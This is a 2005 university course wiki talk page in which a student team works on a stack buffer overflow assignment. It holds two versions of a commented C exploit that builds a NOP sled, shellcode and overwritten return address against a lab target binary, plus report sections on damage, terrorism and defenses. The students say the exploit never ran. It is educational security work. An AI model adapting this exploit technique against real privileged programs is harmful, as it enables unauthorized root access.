Difference between revisions of "Talk:Team 10 Main"

From CyberSecurity
Jump to: navigation, search
(6) Conclusion)
(Sunday's version of code -- latest)
Line 428: Line 428:
 
   }
 
   }
 
   return 0;                            // Exit normal
 
   return 0;                            // Exit normal
 +
 +
== Sunday's version of code -- latest ==
 +
 +
 +
This is the most recent version of code.  It still isn't running although tests in smaller variants work just fine.  I'm trying to nail it down.  All help welcome!
 +
 +
====
 +
 +
 +
#include <stdio.h>
 +
#include <stdlib.h>
 +
#include <string.h>
 +
#include <unistd.h>
 +
#include <errno.h>
 +
#include "shellcode.h"
 +
#define TARGET "/home/cse291g10/sploits/ml/t2/t4"
 +
// above is for debugging -- for normal use, use:
 +
// #define TARGET "/home/cse291g10/sploits/ml/target1"
 +
#define BUFFER 87
 +
#define DEFAULT_OFFSET 0x58
 +
#define NUL 0x00
 +
#define NOP 0x90
 +
 +
/* CSE P590TU - Group 10 - Red Team Project, 23 October 2005
 +
 +
                Steven Boray Huang (sbhuang@cs.ucsd.edu) - UCSD
 +
                Vitaliy B. Zavesov (zavesov@yahoo.com) - UCSD
 +
                Brenda Hernandez (brenn25@berkeley.edu) - UCB-Ugrad
 +
                Lisa Valdez Josefina (jlvaldez@berkeley.edu) - UCB
 +
                Marty Lyons (marty@cs.washington.edu) - UW
 +
                Jessica Miller (jessica@cs.washington.edu) - UW
 +
*/
 +
 +
/* Pre-processor definitions
 +
 +
  TARGET : supplied target to execute.  target1 copies passed string param
 +
            into a fixed size 64 character buffer.
 +
  BUFFER : the size of the buffer we will fill.  Goal is to overrun the
 +
            TARGET with enough room to run the shell contained in shellcode.h
 +
  DEFAULT_OFFSET: number of bytes "backward" (increasing address) from current
 +
            stack pointer ($esp).
 +
 +
  --------------------------------------------------------------------------
 +
 +
  From the assignment README:
 +
 +
  1. "Must therefore hard-code target stack locations in your exploits."
 +
      (should not use function such as get_sp().
 +
 
 +
  2.  Exploit should not take any commend-line arguments.
 +
 +
  --------------------------------------------------------------------------
 +
 +
    IA-32 definitions
 +
    $eip  : instruction pointer
 +
    $esp  : stack pointer (SP)
 +
    $ebp  : frame pointer (FP)/base pointer; points at previous frame
 +
    $eax  : accumulator register
 +
    $ra  : return address, the instruction pointer to be
 +
            restored when a stack frame is recovered for execution
 +
 +
  --------------------------------------------------------------------------
 +
 +
    Layout of sploit1 calling target1
 +
 +
      Top of virtual memory: 0xbfffffa (4 Gb process space)
 +
     
 +
    ===+----------------------------------+===
 +
        |    environment variables (env)  |
 +
    ===+----------------------------------+=== FRAME BOUNDARY
 +
                          .
 +
                          .
 +
                          .
 +
    ===+----------------------------------+=== FRAME BOUNDARY
 +
      | sploit1/main $ebp frame pointer  |  4 bytes
 +
        +----------------------------------+
 +
        | overhead - 56 bytes              | 56 bytes
 +
        |      argc - 4 bytes            |
 +
        |      argv - 4 bytes            |
 +
        |      saved registers - 8 * 5(?) |
 +
        +----------------------------------+
 +
        | sploit1/main buffer              | 87 bytes
 +
        +----------------------------------+
 +
        | overhead - 56 bytes              + 56 bytes
 +
        +----------------------------------+
 +
  $esp | sploit1 $ra - return address    |  4 bytes
 +
    ===+----------------------------------+=== FRAME BOUNDARY
 +
        | target1/main $ebp frame pointer  |  4 bytes
 +
        +----------------------------------+
 +
        | overhead - 8 bytes              |  8 bytes
 +
        |      argc - 4 bytes            |
 +
        |      argv - 4 bytes            |
 +
        |      saved registers - 0        |
 +
        +----------------------------------+
 +
        | target1/main buffer - 64 bytes  | 64 bytes
 +
        +----------------------------------+
 +
        | overhead - 28 bytes              | 28 bytes
 +
        +----------------------------------+
 +
  $esp | target1/main $ra - return address|  4 bytes
 +
    ===+----------------------------------+=== FRAME BOUNDARY
 +
        | target1/foo $ebp frame pointer  |  4 bytes
 +
        +----------------------------------+
 +
        | overhead -  8 bytes              |  8 bytes
 +
        |      argc - 4 bytes            |
 +
        |      argv - 4 bytes            |
 +
        |      saved registers - 0        |
 +
        +----------------------------------+
 +
        | buffer - 0 bytes                |  0 bytes
 +
        +----------------------------------+
 +
        | overhead - 24 bytes              | 24 bytes
 +
        +----------------------------------+
 +
  $esp | target1/foo $ra - return address |  4 bytes
 +
    ===+----------------------------------+=== FRAME BOUNDARY
 +
 +
We compute the buffer needed to overrun target1's buffer as:
 +
 +
buffer: 64
 +
overhead: 8
 +
$ebp pointer: 4
 +
 +
TOTAL: 76 bytes (0x4c hex bytes)
 +
 +
To ensure we overwrite all portions, we round this to:
 +
 +
88 bytes (0x58 hex bytes)
 +
 +
Once the data is assembled and ready to be copied into
 +
target1/main's buffer, it must point from sploit1/main's $ra
 +
to the lower address of the beginning of the NOPs in target1/main's
 +
buffer address area.
 +
 +
We compute the offset by subtracting from sploit's current
 +
stack pointer the 88 bytes. By running sploit1 in gdb, and
 +
setting a breakpoint at the call to target1, we can get the
 +
$esp value.  Since this will be the same on each run,
 +
we can subtract as:
 +
 +
    sploit1 $esp prior to call to target1
 +
-    88 bytes (0x58 bytes hex)
 +
 +
This should then be set as the pointer address which will point
 +
back into target1's buffer, which has been padded in the beginning
 +
with NOPs.
 +
 +
To calculate the number of NOPs, we start with the length of the payload,
 +
at 45 bytes.  This leaves:
 +
 +
88-45 = 31 bytes for other data.  We reserve the last 32 bytes
 +
for the return address, to ensure we overwrite the return address.
 +
This leaves:
 +
 +
88-45-32 = 11 bytes, which we pad in front as NOPs.
 +
 +
So our final payload is:
 +
 +
NOP          :  0-10  (11 bytes)
 +
shellcode    : 11-55  (45 bytes)
 +
new $ra      : 56-87  (32 bytes)
 +
 +
*/
 +
 +
 +
// get_sp returns the current stack pointer address by moving it into the EAX
 +
// register.  Although not supposed to use this per the README instructions,
 +
// we tried to use this routine to help isolate and debug the offset of the
 +
// buffer in target1, and to also allow for more advanced work once the initial
 +
//  assignment was complete.
 +
 +
unsigned long get_sp(void)
 +
{
 +
        __asm__("movl %esp, %eax");
 +
}
 +
 +
// Based on "sploit1", use this routine to overrun a buffer in a IA32
 +
// architecture system running Linux.  string will be of length larger than
 +
// the receiving buffer in the target application will be able to store,
 +
// overunning the variable storage area, and also overwriting the
 +
// Frame Pointer ($ebp) as well as the Return Address ($ra).
 +
 +
int main()
 +
{
 +
 +
// Declarations
 +
 +
  int offset=DEFAULT_OFFSET;    // offset will be the number of bytes "backward"
 +
                                // (increasing address) on the stack will will
 +
                                // move from the current stack pointer ($esp)
 +
 +
  char *args[3];                // arguments  - terminate with null ptr.  used
 +
                                // to pass data into execve. Note that this
 +
                                // data will be allocated in the stack frame
 +
                                // for the current routine (main).
 +
 +
  char *env[1];                // environment array - terminate with null ptr.
 +
                                // used to pass data into execve.
 +
                                // Same applies per above.
 +
 +
  char string[BUFFER];          // attack string, of size BUFFER, designed to
 +
                                // be larger than the receiving application
 +
                                // can store.
 +
 +
  char *ptr = string;          // string will hold the attack code and other
 +
                                // data (i.e. NOPs) to allow the payload to run
 +
 +
  long *addr_ptr = (long *) string;    // initially fill the payload area
 +
                                        // (string) with the address to jump to
 +
 +
  int i;                        // loop counter (reusable)
 +
  int rc;                      // execve return code
 +
  extern int errno;            // global error number - used by execve
 +
 +
 +
  long addrstart = get_sp();    // Get the current stack address,
 +
                                // using inline assembly call
 +
  printf("Stack address at: 0x%x\n",addrstart);
 +
 +
// When run manually without get_sp to retrieve current stack pointer,
 +
// addresses were typically in the range of 0xbffffde0 for the start of the
 +
// NOP section.  Offsets were generally +- 100 bytes from that address.
 +
// The stack starts at 0xbfffffa, which is the beginning of the 4GB virtual
 +
// memory area for this process.
 +
 +
  long addr = get_sp()-offset;  // address of buffer to jump to; from gdb dump
 +
  // long addr = 0xbffff940-offset;
 +
  printf("Stack pointer address offset: 0x%x\n",offset);
 +
  printf("Return address set to payload starting at address: 0x%x\n",addr);
 +
 +
// Step 1.
 +
// Fill the string completely with the newly calculated return address ($ra).
 +
// When the buffer is overrun and the stack POPed to return to the calling
 +
// routine, this address will be retrieved and JuMPed to -- it will point into
 +
// the string area which will be prepended by NOPs and also contain the
 +
// shellcode.
 +
 +
  for ( i = 0; i < BUFFER; i+=4 )  // fill our attack string with desired $ra
 +
  {
 +
    *( addr_ptr++ ) = addr;
 +
  }
 +
 +
// Step 2.
 +
// The string is now loaded with addresses of the attack string.  Starting at
 +
// the beginning of that string overwrite half of the length of the string with
 +
// NOPs.  Since we cannot be sure that the addresses in place (above) are
 +
// exactly accurate, the NOPs will pad the area so we don't miss the start of
 +
// the actual payload.
 +
 +
// 11 NOPs
 +
  for (i = 0; i < 11; i++) {
 +
    *( ptr++ ) = NOP;
 +
  }
 +
 +
// Step 3.
 +
// Insert the shellcode (45 bytes) which contains the actual attack.  In this
 +
// case, it contains a compiled and loadable version of /bin/sh.  When run, we
 +
// will have a shell with privileges if the target routine
 +
// (i.e. /tmp/target1) has those permissions set.
 +
 +
// Running total: 15 NOPs + 45 shellcode = 60 bytes used in buffer
 +
// printf("String length of shellcode is %i\n",strlen(shellcode));
 +
 +
  for ( i = 0; i < strlen( shellcode ); i++ )  {
 +
    *( ptr++ ) = shellcode[i];
 +
  }
 +
*(ptr++) = NUL;                      // null terminate the string
 +
 +
// Call framework for execve. 
 +
// Note that this data will be written into the current stack frame near the
 +
// bottom (high memory), and will overwrite some of the addresses laid
 +
// down in Step 1.                   
 +
 +
  args[0] = TARGET;           
 +
  args[1] = string;           
 +
  args[2] = NULL;
 +
  env[0] = NULL;
 +
 +
// Invoke execve with parameter pointing to the target code to execute, and
 +
// the string containing the addresses, NOPs, and attack code (shellcode).
 +
 +
  rc = execve(TARGET, args, env);
 +
 +
// If return from execve failed, print Unix error message in human format.
 +
  if ( rc < 0 ) {
 +
    perror("Error in execve");          // Produce Unix text error codes
 +
  }
 +
  return 0;                            // Exit normal
 +
}

Revision as of 04:36, 24 October 2005

Welcome to the Group 10 wiki. Here is some info:

Members with preferred email:

Steven Boray Huang (sbhuang@cs.ucsd.edu) - UCSD

Vitaliy B. Zavesov (zavesov@yahoo.com) - UCSD

Lisa Valdez Josefina (jlvaldez@berkeley.edu) - UCB

Brenda Hernandez (brenn25@berkeley.edu) - UCB-Ugrad

Jessica Miller (jessica@cs.washington.edu) - UW

Marty Lyons (marty@cs.washington.edu) - UW


As of now (14 Oct 2200 PDT) everyone is here except Jessica, pending her addition to the page by Jeff.

Team 10 members

Since we have to write some code etc, I thought I'd check on the background of folks in our team. I know that they tried to make the groups comprise various disciplines, and the stack smashing papers are pretty short of helpful material if you're not coming at this from the Computer Science side. If everyone can just edit this page with their background, we'll get a better idea on how to break up the tasks. Jessica and I are both here at UW and have the ability to sit together and work, which might help.

Steven Boray Huang (sbhuang@cs.ucsd.edu) - UCSD Computer Science - software engineering and ubiquitous computing (mainly cell phones). I read the assignment and took a look at the code today and since we only need to do sploit1, it doesn't seem too bad. I haven't had a chance to spend too much time on it yet though, just read through the stanford powerpoint slides and the smashing the stack paper. How is everyone else doing?

Vitaliy B. Zavesov (zavesov@yahoo.com) - UCSD I'm a Masters student in Computer Science with specialization in Software Engineering. Steven and I will try to meet this Wednesday to go over the project. I've read through the powerpoint slides and some of the papers and am looking at the code right now.

Josefina Lisa Valdez (jlvaldez@berkeley.edu) - UCB Ok, so I am an undergraduate at UC Berkeley, and I am minoring in Public Policy. I have no background in computer science so, I could do reseacrh to answer the questions...Yeah, Brenda and I can also work together since we are both from UC Berkeley.

Brenda Hernandez (brenn25@berkeley.edu) - UCB-Ugrad


Jessica Miller (jessica@cs.washington.edu) - UW


Marty Lyons (marty@cs.washington.edu) - UW

BACKGROUND: Computer Science as a systems programmer and network engineer. My C coding skills are marginal since I haven't done anything with the language in (gasp) 10 years, but I should be able to recall enough to sort out the project. I'm limited in typing since I've got bad hand tendonitis; so programming involving lots of keyboard time is something I try to avoid if possible.

Working on code -- joint dev using IM

I'm logged into the ucsd dev machine now (Sunday, 6 PM) and I see Steven is there too. If anyone else has AOL Instant Messenger, we can chat that way if we want to work together. I'm on AOL IM as "GoPolar". -- Marty at UW

I've made substantial progress on the code tonight (Sunday) and will likely finish sometime tomorrow afternoon (Monday) if all goes well. At that point, I'm hoping we can get the whole team to co-write the report, particularly the Policy folks. -- Marty at UW, Monday 1 AM

Ok, to be honest, I am a little confused at coding/etc. language, so when you tell us what you did, is there any way to explain what is happening in a non-codish way? I hope that made sense... - Josefina- UCB

Probably the best thing is we'll finish up getting it working (it's close, it's not so much a programming problem anymore, as just understanding some of the terrible documentation they gave us...); then once we have it running, we can write up a summary of how it works.

-- Marty at UW

Working on code -- software folks please read

I've been working on this for quite some time and I have to say the supplied documentation is pretty lacking.

Feel free to look at my code/notes and copy them -- they are in ~cse291g10/sploits/ml/. I'm not a good C programmer by any means so feel free to rewrite (please, make yourself a directory and work off a copy, otherwise we'll all get confused).

I've got things working, but am just trying to finally understand how to arrive at the right addresses. The Stanford powerpoint slides are more confusing than helpful, and I've been finding some other reference material.

-- Marty, Tue, 1 AM

Update: The code compiles clean and is otherwise fine, but I'm having a really hard time parsing the Stanford powerpoint to make sense of how to get the buffer address to reference. Maybe someone else can figure that part out. In theory, all you'll have to do is insert the right address into the code (~cse291g10/sploits/ml/ml.c), run "make", then execute with "./ml". If you get a shell prompt, it worked. It's probably not helping that it's 3:30 AM that I'm not thinking straight on this anymore. I'll pick back up tomorrow afternoon. If someone gets it working by then, just update the wiki. Thanks!

-- Marty (from UW), Tue, 3:30 AM

I tried to figure out the address of the buffer. I was thinking it could be 0xbffff980 because a) this is the contents of the $esp after the buf[] has been allocated in target1 main and b) this is what's being passed into foo as the *out parameter (which is the same as buf[]). I tried to use this address with Marty's code, but I keep getting segmentation faults.

-- Vitaliy Wed 3:00 am

Well, I wish I could say I made progress on this. After six days of hacking, it's not working. I've got a ton of traces, but still can't seem to make this thing fly. I'll keep working on it tonight. If I can't get it working by tomorrow, I'm going to submit what I've got, with a report on why I think it's not running. I can probably offer such a detailed explanation of the process at this point that it will equal if not better running code. But it's more than annoying that the thing doesn't work. -- Marty, Friday, 7 PM


So i've been working on this for the past few hours and even after re-reading the http://thc.org/papers/OVERFLOW.TXT paper its still not working and getting seg faults. the get_sp(void) is given in this paper and should be giving us the correct stackpointer...any word back from the ta? --steven, friday 12am

I've given up. I'm going to write a note to the two TAs that this has essentially been a failed experiment due to inadequate documentation -- the Stanford powerpoint deck was almost useless. I've got about a dozen papers on this technique, and have tried things probably 10 different ways, over six solid days, without anything useful coming of it. I'll write up this part of the report and explain as best I can the difficulty we had. But it shouldn't have been *this crazy difficult*. I'll send the email in a few minutes and copy everyone. When I get back tomorrow afternoon, I'll start working on the paper. This has been a huge disappointment that they gave us a software project which led to nothing but frustration and wasted time. -- Marty, Friday night/Saturday morning 1 AM

Proposed outline of the report

The following is my brainstorming of the outline of our report. Please feel free to modify it or sign up for writing particular sections. Beside the introduction and conclusion, the sections are taken from the project description.


I've moved the report to it's own page on the wiki (from the top level) -- see there for editing. -- Marty


1) Introduction (Why are we doing this exercise?)

-- Jessica


2) description of attack techniques attempted, vulnerabilities exposed, and estimated difficulty

-- Marty


3) Estimated dollar value of the damage that such an attack could cause

-- Josefina and Brenda


4) Estimated feasibility and strategic value of the attack technique to a terrorist organization

-- Josefina and Brenda


5) Feasibility and cost of defending against such attacks

-- Vitaliy

6) Conclusion (What did we learn from our analysis?)

-- Steve

Group 10 report

1) Introduction

(Why are we doing this exercise?)

-- Jessica (already written, below)

Attack Technique

A computer program is composed of a set of instructions (telling the CPU what to do) and the data on which it operates. Computer memory is used by computer programs for temporary storage of information that the CPU needs as it performs the operations that computer programs instruct it to do.

Computer memory is organized in a couple of ways, but the portion of computer memory that this project has taken advantage of is the “stack”. The stack stores temporary data in such a way that the data most recently stored is the first to be retrieved (this is analogous to the way cafeteria dish stacks are used...the last dish in the stack is the first to be used).

Computer programs are organized into procedures (also called functions, methods, and routines). A procedure is a self-contained block of code (i.e. instructions for the computer) that can be run from other blocks of code. Generally speaking, procedures each contain the code necessary to accomplish one task. Each time one procedure calls another procedure a new section of memory is assigned to the procedure being called to store its temporary information. Furthermore, before the computer starts executing the instructions of the called procedure, the computer pushes onto the stack information about where to return in the calling procedure once the new procedure has completed its task. The computer assumes that any new procedure will only use the portion of the stack that it has been given and won’t store any information on other parts of the stack. This assumption is what our attack is based off of.

We have implemented a computer program called sploit1. sploit1 contains one procedure that executes some computer instructions (i.e. some code) and then calls another computer program called target1. target1 contains two procedures: main and foo. target1’s main calls procedure foo, passing it two strings (a string is a type of information composed of alphanumeric characters). foo then copies one of the strings into the other.

The whole program should pointless and benign and regularly would be, but the way sploit1 uses target1 causes the attack. What we have done in sploit one is created a string that contains the instructions of a computer program. This computer program basically gives the user a new command window (this of a Windows dos window) with whatever privileges that target1 has. Here is what the computer memory stack would look like before sploit1 calls target1:

top of the stack computer program to run a new command window other sploit1 temporary data where to return when sploit1 finishes other information from other programs bottom of the stack

Then sploit1 creates a temporary buffer that repetitively contains the memory address of the computer program that runs a new command window. Once sploit1 does this the stack has the following contents:

top of the stack address 100 address 100 .... address 100 computer program to run a new command window (say it starts at address 100) other sploit1 temporary data where to return when sploit1 finishes other information from other programs bottom of the stack

Notice that the new information has been put at the top of the memory stack.

Now sploit1 calls target1 which begins in its main procedure. When this happens, sploit1 passes a reference to the temporary buffer of address 100s to target1. target1 then creates its own buffer that is empty and calls foo. foo then copies the temporary buffer of addresses into target1’s buffer. Before foo is called from target1’s main procedure the stack contains the following contents:

top of the stack end of target1’s main buffer (now empty) ... start of target1’s main buffer (now empty) reference to buffer of addresses return address of next instruction in sploit1 address 100 address 100 .... address 100 (buffer of addresses starts here) computer program to run a new command window (say it starts at address 100) other sploit1 temporary data where to return when sploit1 finishes other information from other programs bottom of the stack

Again, notice that the new information (target1’s buffer) has been put at the top of the stack.

Now target1’s main procedure is going to call foo and all foo does is copy one string into another. The way we have set it up is that foo is going to copy the buffer of addresses into target1’s temporary empty buffer. Normally, this would be fine and cause no problems but we have expertly crafted the buffer of address to be just larger than target1’s main buffer. In fact, we have created the buffer of addresses to be exactly large enough to overflow target1’s main buffer into where the return address to sploit1 is stored. Once target1’s foo procedure is called, it doesn’t check the size of the two buffers and just blindly copies all of sploit’s temprorary address buffer into target1’s main buffer until it is finished. After foo is finished running the stack now contains the following (I have struck through what the stack used to have to give you a reference point):

top of the stack end of target1’s main buffer (now empty) address 100 ... start of target1’s main buffer (now empty) address 100 reference to buffer of addresses address address 100 return address of next instruction in sploit1 address 100 address 100 address 100 .... address 100 (buffer of addresses starts here) computer program to run a new command window (say it starts at address 100) other sploit1 temporary data where to return when sploit1 finishes other information from other programs bottom of the stack

Now when the computer goes to finish executing target1, it sees that it is supposed to return to address 100 and start executing the instructions there. Here is where our malicious code that we set up in sploit1 will be executed!! What makes this especially dangerous in this exercise is that our instructions have made it so that target1 executes with the permissions of an administrator. So when the computer returns to address 100 and brings up a command window, the command window will be running with administrator privileges! This basically means that now we have gotten an command window running with administrator privileges on target1’s computer. This basically means now we could do anything we wanted with target1’s computer (including erasing the entire harddrive).

Granted, this exercise has its limitations. We know that the computer program target1 is on the target computer and we know exactly how target1 works (they gave us its source code!) so we could take advantage of the fact that it copies one buffer to another without checking the sizes of the two buffers. It also is a bit contrived because we know that target1 has been set to run with administrator privileges. Normally an attacker would have to cleverly figure all of this information out. However, this could be quite easy for an IT employee to do.


2) description of attack techniques attempted, vulnerabilities exposed, and estimated difficulty

-- Marty

It's midight on Saturday and since I haven't heard back from anyoen else, I've decided to get some sleep, and will resume work in the morning.

-- Marty, Sunday, 12 midnight

3) Estimated dollar value of the damage that such an attack could cause

-- Josefina and Brenda

The exact estimated value of a computer program procedural attack cannot be determined because there are various factors involved which need to be considered when estimating the damages that such an attack has caused. For example, in many cases it is not possible to record all the damages. In these cases, you must estimate the number of incidents and the damage and adjust accordingly. You must also make a small adjustment for unrecorded cases. Therefore, the reported numerical data that is obtained is based on studies from reported cases which are then classified into different categories based on the type of computer attack.

Since our computer attack dealt with a computer program procedural attack which resulted in having the ability to obtain and do anything desired with the information on the hard drive, this type of attack can be classified within the root compromises and theft proprietary information which account for the biggest damage and most expensive damage loss. Although the estimated dollar value of damages by such an attack vary every year based on the number of reported cases, out of twenty one percent of theft proprietary information reported cases between the years 2000 and 2003 an estimated seventy million damage loss was reported. Furthermore, for root compromises cases, which, deal with unauthorized root access to user accounts and computers the estimated damage loss caused by the attack is approximately 80,000 dollars per incident.

Ultimately, the estimated dollar value of the damage of procedural attack on a computer program cannot be determined with exactitude because the attacks do not only damage individual companies since they all have an effect on the overall U.S economy. The Computer Security Institute and the U.S Federal Bureau of Investigation have estimated that such attacks cost companies millions of dollars and the U.S economy billions of dollars each year.

=== 4) To predict the estimated feasibility and strategic value of the attack technique to a terrorist organization one must associate the attack’s capability in correspondence to their ultimate goals. Some of the ultimate goals for terrorists that link to the usage of a computer system procedural attack could be one or a combination of the following: publicity and propaganda, blocking peace talks, economic demands, forcing withdrawal, or destructuralization of the capitalist economy. The scalability of the attack would be dependent on the computer system the terrorist organization was attacking. Assuming that the terrorist group had the capability of breaking into a large corporation or governmental system, obviously the scalability would be quite large, and goals such as economic demands, blocking peace talks, and destructuralization of the capitalist economy might be possible. However, although the feasibility of structuring such an attack against a home computer may be relatively easy for anyone with an IT background, the feasibility to construct a successful attack against a large corporation or the government would be very difficult since these systems have their own technical maintenance with people of large IT backgrounds working to protect these systems. Thus, if a terrorist group had a large resource pool, they would be able to ensue an attack with minor capabilities. Since Al Queda, for example has large resources of both money and recruitment, it would not be very hard for them to find someone with basic IT skills to construct a computer system procedural attack. Again, it would take a large assumption to think that they would be able to break into these larger systems, but under such an assumption, it would be very costly, meaning it might not correspond with their ultimate goal, especially if it was economic demands they were aiming for. The potential value of cyber-attacks as a tool for achieving their ultimate goals in relation to the assumed scalability as well as feasibility, would be very high. Under the assumption that a terrorist group could construct a successful computer system procedural attack, it would be very costly, and would require the ability to recruit someone with vast IT knowledge, therefore the overall value of the attack decrease. If a terrorist organization had such resources of constructing an attack, they would also have the knowledge of how much effort and resources that are being put into protecting these large computer systems. A large attack could have high potential of deconstructing important assets a governmental or corporation system but the likelihood it would get such potential is very unlikely. Thus, a terrorist organization would not think this strategically as valuable as other possible weaponry uses, and would not employ such attacks.

5) Feasibility and cost of defending against such attacks

-- Vitaliy

There are many techniques helping to defend against buffer overflow attacks. The techniques could be applied at the language level, i.e. trying to build in protection against buffer overflow attacks into C or another language itself; at the source code level, i.e. using static or dynamic analyzer tools to check for potential buffer overflow vulnerabilities; at the compiler level, i.e. changing the compiler so that it does bounds checking or protects certain addresses from overwriting; and at the operating system level, such as setting the rules for which pages can hold executable content.

The easiest way to protect against buffer overflow attacks is to use a language, such as Java, which provides automatic bounds-checking of buffers. This is not often feasible, however, because many legacy projects are still using C or other unsafe languages, and because such languages are commonly used for embedded programming. The alternative is to use libraries within unsafe languages that provide bounds checking, such as C’s “string” class. This requires re-writing entire legacy code to replace unsafe buffers with safe classes, which is often impractical. An affordable alternative is to only target the functions which are known to be dangerous, such as C’s strcpy or sprintf. This still leaves a vulnerability of attack against other functions. All in all, the language techniques are only possible to implement if the software’s source code is available and if the source code for all the linked-in libraries is also available.

Static code analyzer tools inspect the source code and try to decide whether it contains constructs that could lead to buffer overflow. Because there is a very large number of all the possible construct combinations which could cause such problems, static analyzer tools cannot be guaranteed to find all the possible buffer overflow vulnerabilities or not to provide false positives. Also, these tools often only make local analysis of the code (limited to a class or a function) and thus are limited to the types of vulnerabilities they can detect. Dynamic code analyzers, such as Purify, can detect buffer overflows as the code is executed. This approach does not find all the vulnerabilities however because not all of the code is executed in a test run and not every vulnerability would actually trigger an overflow on such a run.

There are several techniques that change the way programs are compiled to protect against buffer overflow without changing any code. One way is to keep the sizes of all the buffers and then check that all the buffer accesses fall within the allowed range. This technique is very costly in terms of performance because it increases the size of the compiled code by up to 200%. Another approach is to protect the return addresses of functions. Here, there are two possible ways to accomplish this – placing the return addresses into a separate location in memory and then restore them just before the function returns, or storing the allocated buffers in a place separate from a stack. This separation of the allocated buffers and return addresses requires many changes in the existing compilers. Another option is to place a “canary” value just before the return address on the stack. Before the return address is used, the “canary” value is checked to see if it has been over-written by a buffer overflow attack. This only works however if the attacker cannot guess the “canary” value.

There are also operating system techniques which could be used to try to defend against buffer overflow attacks. One such technique is to make allocated buffers non-executable, so that an attacker could not place his executable code there. This does not prevent an attacker from over-writing the return address of a function call with the location of a function elsewhere in the memory. Another operating system technique which could be used is address space layout randomization. Whenever the operating system creates a new process, it randomizes where it places memory regions, such as a stack, which prevents exploits that depend upon fixed regions and fixed offsets between regions. There are techniques in existence however which allow extracting information about address space from a running process so as to be able to exploit it.

There is no sure way to defend against all overflow attacks. However there are tools and techniques in existence which make it much harder for an attacker to exploit vulnerabilities, and make it easier to detect a potential vulnerability by the person trying to prevent it. This raises the required level of technical expertise an attacker must possess and the time he needs to invest. At the same time, there is a greater chance that the vulnerability is found and fixed even before it is exploited.

Depending on the type of the defense technique employed, it is implemented by a software application provider, a compiler provider, or an operating system provider such as Microsoft. Given the increase in the number of buffer overflow attacks recently and the amount of damage they caused, most financial and corporate organizations are looking for overflow attack defenses in acquired software applications, giving the developers an incentive to implement them. Home owners however are not as computer savvy as consultants hired by large corporate entities, and do not usually look for the implementation of such defenses in the software they purchased for their home desktop. Overflow defenses are also not mandated by the government, leaving their implementation to be mostly market-driven.

Because Microsoft Windows is an operating system used on most home computers nowadays, it could become a common provider of defenses against buffer overflow. In fact, a large portion of the research and investment made by Microsoft is in the area of computer security, i.e. protecting against this and other attacks. Microsoft and other operating systems providers could also become the primary target of government regulations enforcing the implementation of protection against overflow attacks, such as tax incentives or even legal liability. However, the best protection would probably be a result of implementation of a combination of language, software, compiler, and operating system techniques. Even then, the protection would not be 100% guaranteed.

6) Conclusion

(What did we learn from our analysis?) Vulnerable areas that have the potential for large dollar amount losses exist in almost all commercial and government software today. Many typical vulnerabilities such as buffer overflows are well known and well documented but even so they are still the number one exploited software security hole. The first 44 Ubuntu Linux Security Notices show that 52.4% of vulnerabilities stem from either a buffer of integer overflow. Other security holes include worms or viruses which automatically try to spread themselves to other hosts after taking over a machine. Although defense mechanisms exist at many different levels such as the compiler or operating system levels, each of these has its own set of sort comings. Through our simulation exercise, we showed that if given the proper set of background knowledge and insight into a specific program, the tools for developing and mounting an attack, while difficult, is not an impossible task. When talking about attacks on commercial companies for monetary gain, an estimated seventy million dollars of damage was done between the years of 2000 and 2003. Though, this is a large financial loss in terms of the United States economy, a terrorist attack mounted to gain information or funds in order to carry out a physical attack has the potential to cause losses of a much larger impact. Since security holes are most easily inserted and exploited by the creator of the software, the first step to stopping possible cyber terrorist attacks would be to have trust worthy people working on important government software. That is why the US government spends millions of dollars every year on background checks and issuing security clearances to individuals working on sensitive information. By gaining an understanding of the goals terrorists are after, we can align our defenses accordingly. If their goals are simply to disrupt productivity in the United States economy, launching DoS attacks or creating new viruses would achieve those goals in a way we currently have no answer for. If gaining control of our military weapons to use against us is what they are after, the likelihood is almost impossible through cyber attacks. Are there vulnerabilities in the technological infrastructure that our country so heavily depends on? Yes. But although it is not possible to have every piece of software be free of potential exploits, using techniques that find these security holes, have defenses all every layer of a computer hierarchy, and finding dependable and trustworthy engineers are our best defenses to an ever growing problem.

Final version of code (not working)

This is the final version of code, which does not yet run. It is fully documented, and should be at least interesting and useful if you'd like to try to read it. Hopefully the notes inside (preceeded by "//") will help explain what is happening. NOTE! The wiki software tries to format the programming and puts boxes around things and so on. I have no idea how to prevent this from happening. So I'll email everyone a copy of the code as well.

g10.c -- available online at /home/cse291g10/sploits/ml/g10.c =========
  1. include <stdio.h>
  2. include <stdlib.h>
  3. include <string.h>
  4. include <unistd.h>
  5. include <errno.h>
  6. include "shellcode.h"
  7. define TARGET "/home/cse291g10/sploits/ml/target1"
  8. define BUFFER 164
  9. define DEFAULT_OFFSET 0x50
  10. define NUL 0x00
  11. define NOP 0x90

/* CSE P590TU - Group 10 - Red Team Project, 22 October 2005

               Steven Boray Huang (sbhuang@cs.ucsd.edu) - UCSD
               Vitaliy B. Zavesov (zavesov@yahoo.com) - UCSD
               Brenda Hernandez (brenn25@berkeley.edu) - UCB-Ugrad
               Lisa Valdez Josefina (jlvaldez@berkeley.edu) - UCB
               Marty Lyons (marty@cs.washington.edu) - UW
               Jessica Miller (jessica@cs.washington.edu) - UW
  • /

/* Pre-processor definitions

  TARGET : supplied target to execute.  target1 copies passed string param
           into a fixed size 64 character buffer.
  BUFFER : the size of the buffer we will fill.  Goal is to overrun the 
           TARGET with enough room to run the shell contained in shellcode.h
  DEFAULT_OFFSET: number of bytes "backward" (increasing address) from current
           stack pointer ($esp).
  --------------------------------------------------------------------------
  From the assignment README:
  1. "Must therefore hard-code target stack locations in your exploits."
     (should not use function such as get_sp().
  
  2.  Exploit should not take any commend-line arguments.
  --------------------------------------------------------------------------
   IA-32 definitions
   $eip  : instruction pointer
   $esp  : stack pointer (SP)
   $ebp  : frame pointer (FP)/base pointer; points at previous frame
   $eax  : accumulator register
   $ra   : return address, the instruction pointer to be
           restored when a stack frame is recovered for execution
  • /

// get_sp returns the current stack pointer address by moving it into the EAX // register. Although not supposed to use this per the README instructions, // we tried to use this routine to help isolate and debug the offset of the // buffer in target1, and to also allow for more advanced work once the initial // assignment was complete.

unsigned long get_sp(void) {

       __asm__("movl %esp, %eax");

}

// Based on "sploit1", use this routine to overrun a buffer in a IA32 // architecture system running Linux. string will be of length larger than // the receiving buffer in the target application will be able to store, // overunning the variable storage area, and also overwriting the // Frame Pointer ($ebp) as well as the Return Address ($ra).

int main() {

// Declarations

 int offset=DEFAULT_OFFSET;    // offset will be the number of bytes "backward"
                               // (increasing address) on the stack will will
                               // move from the current stack pointer ($esp)
 char *args[3];                // arguments  - terminate with null ptr.  used
